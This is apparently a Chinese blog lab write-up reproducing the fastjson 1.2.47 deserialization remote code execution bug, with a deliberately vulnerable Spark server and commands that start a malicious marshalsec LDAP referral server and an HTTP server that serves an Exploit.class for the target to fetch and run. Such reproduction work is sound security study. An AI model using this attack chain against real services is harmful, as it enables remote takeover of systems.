这两天爆出了 fastjson 的老洞,复现简单记录一下。

首先使用 spark 搭建一个简易的利用 fastjson 解析 json 的 http server。

package cn.hacktech.fastjsonserver;

import com.alibaba.fastjson.JSON;
import static spark.Spark.*; public class Main {
public static void main(String[] args) {
get("/hello", (req, res) -> "spark server start success");
post("/test", (req, res) -> {
String payload = req.body();
JSON.parse(payload);
return "json payload:" + payload;
});
}
}

编译出来后,启动这个 jar,在 /test 这个 post 点即可 post json payload。

然后这里分两类:

  1. 如果只是想检测漏洞是否存在,可以使用 dnslog 去检测
  2. 利用的话,需要自己起一个恶意的 ldap 或者 rmi 服务

本机需要起一个 LDAP 服务和 http 服务

poc-->LDAP-->http

poc 会通过上面的路径去请求你的 http 服务上面的对应的 class 文件然后去解析执行这个 class

启动 LDAP 用的 marshalsec,会比较方便。

  1. 在本目录下启动 http server 在 80 端口
python -m http.server 80
  1. 启动 LDAP 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1/#Exploit

后面的 Exploit 是指 Exploit.class 文件

  1. 运行 PoC,它会请求 LDAP 服务,或者直接把 json payload post 到 /test
java -cp fastjson-1.2.47.jar; PoC

其中代码编译的话,直接执行 javac the.java 即可,不过 PoC.java 的编译需要引入 fastjson jar 包,运行 javac -cp ./fastjson-1.2.47.jar PoC.java

具体的细节可见代码打包文件

复现遇到一些坑

这次的这个洞是有 jdk 版本要求的。

最开始我在我本机测试通过,原因是因为它请求不到 class 的时候会去本目录下进行一个查找,也就是并没有经过 http 服务器。

所以想要复现这个漏洞的话,需要 target 主机上面的 jdk 版本有严格的要求,具体见下图

所以建议复现流程是

建议复现流程

  1. 起一个虚拟机专门用来运行我写的那个简易的 fastjsonserver,或者你可以直接在虚拟机上面执行 PoC,关键在于 target 机器的 jdk 版本。
  2. 你可以在本机起 ldap/rmi 服务以及 http 服务,或者全部在虚拟机上运行也可以,但是一般真实情况下我们是在外部构造恶意的 ldap/rmi 以及 http server,所以建议这步放到虚拟机外运行。
  3. 根据你的网络环境修改 PoC。
  4. 然后 post payload 或者运行 PoC,即可看到虚拟机上弹出了计算器。

低版本的java 8u112

链接: https://pan.baidu.com/s/1Q3lGG2b4I8aTXpQbmvK2dw 提取码: 36mm

复现视频链接复现流程.zip

fastjson<1.2.47 RCE 漏洞复现的更多相关文章

  1. fastjson =< 1.2.47 反序列化漏洞复现

    fastjson =< 1.2.47 反序列化漏洞复现 HW期间爆出来一个在hw期间使用的fastjson 漏洞,该漏洞无需开启autoType即可利用成功,建议使用fastjson的用户尽快升 ...

  2. fastjson<=1.2.47反序列化漏洞复现

    0x00:前言 这个漏洞爆出来之后本来一直打算挑时间去复现,后来一个朋友突然发来他们站点存在fastjson这个漏洞被白帽子发了报告.既然漏洞环境送上门来,我便打算直接下手试一试.在我的想象中当然是一 ...

  3. Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现

    Joomla 3.0.0 -3.4.6远程代码执行(RCE)漏洞复现 一.漏洞描述 Joomla是一套内容管理系统,是使用PHP语言加上MYSQL数据库所开发的软件系统,最新版本为3.9.12,官网: ...

  4. Apache Solr Velocity模板注入RCE漏洞复现

    Apache Solr Velocity模板注入RCE漏洞复现 一.Apache Solr介绍 Solr是一个独立的企业级搜索应用服务器,它对外提供类似于web-service的API接口,用户可以通 ...

  5. fastjson =< 1.2.47 反序列化漏洞浅析

    fastjson =< 1.2.47 反序列化漏洞浅析 iiusky 洛米唯熊 今天 文章出处: https://www.03sec.com/3240.shtmlhttps://www.secq ...

  6. Apache Solr JMX服务 RCE 漏洞复现

    Apache Solr JMX服务 RCE 漏洞复现 ps:Apache Solr8.2.0下载有点慢,需要的话评论加好友我私发你 0X00漏洞简介 该漏洞源于默认配置文件solr.in.sh中的EN ...

  7. 【Vulhub】CVE-2019-3396 Confluence RCE漏洞复现

    CVE-2019-3396 Confluence RCE漏洞复现 一.环境搭建 选择的vulhub里的镜像,进入vulhub/Confluence/CVE-2019-3396目录下,执行 docker ...

  8. CVE-2019-5475:Nexus2 yum插件RCE漏洞复现

    0x00 前言 如果有想一起做漏洞复现的小伙伴,欢迎加入我们,公众号内点击联系作者即可 提示:由于某些原因,公众号内部分工具即将移除,如果有需要的请尽快保存 0x01 漏洞概述 最近hackerone ...

  9. Apache Flink 任意 Jar 包上传致 RCE 漏洞复现

    0x00 简介 Flink核心是一个流式的数据流执行引擎,其针对数据流的分布式计算提供了数据分布.数据通信以及容错机制等功能.基于流执行引擎,Flink提供了诸多更高抽象层的API以便用户编写分布式任 ...

随机推荐

  1. pt-table-checksum校验与pt-table-sync修复数据【转】

    1:下载工具包 登录网站下载相应的工具包 https://www.percona.com/downloads/percona-toolkit/LATEST/ 2:安装 (1)yum安装: sudo y ...

  2. Looper: Looper,Handler,MessageQueue三者之间的联系

    在Android中每个应用的UI线程是被保护的,不能在UI线程中进行耗时的操作,其他的子线程也不能直接进行UI操作.为了达到这个目的Android设计了handler Looper这个系统框架,And ...

  3. 新概念英语第二册Lesson5:No wrong numbers

    Lesson 5 No wrong numbers 无错号之虞 First listen and then answer the question. 听录音,然后回答以下问题. What does ' ...

  4. Flutter -------- 解析JSON数据

    SON序列化方法: 手动序列化和反序列化通过代码生成自动序列化和反序列化 手动JSON序列化是指使使用dart:convert中内置的JSON解码器.它将原始JSON字符串传递给JSON.decode ...

  5. 主外键 设置 on update cascade 和on delete cascade 的区别

    on update cascade 和on delete cascade 的区别 这是数据库外键定义的一个可选项,用来设置当主键表中的被参考列的数据发生变化时,外键表中响应字段的变换规则的.updat ...

  6. Flutter 页面布局 Stack层叠组件

    Stack 表示堆的意思,我们可以用 Stack 或者 Stack 结合 Align 或者 Stack 结合 Positiond 来实现页面的定位布局 属性 说明 alignment 配置所有子元素的 ...

  7. shell编程系列20--文本处理三剑客之awk常用选项

    shell编程系列20--文本处理三剑客之awk常用选项 awk选项总结 选项 解释 -v 参数传递 -f 指定脚本文件 -F 指定分隔符 -V 查看awk的版本号 [root@localhost s ...

  8. Python3基础 内置函数 id

             Python : 3.7.3          OS : Ubuntu 18.04.2 LTS         IDE : pycharm-community-2019.1.3    ...

  9. 安装ORACLE服务出现Oracle Net Configuration Assistant 失败问题【我】

    安装ORACLE服务出现Oracle Net Configuration Assistant 失败问题 本地安装oracle11g,报错提示: 参考下面文章: 报错原因: 主要是对文件系统的访问权限问 ...

  10. CharUtil

    package com.opslab.util; import java.io.UnsupportedEncodingException; /** * Various character and ch ...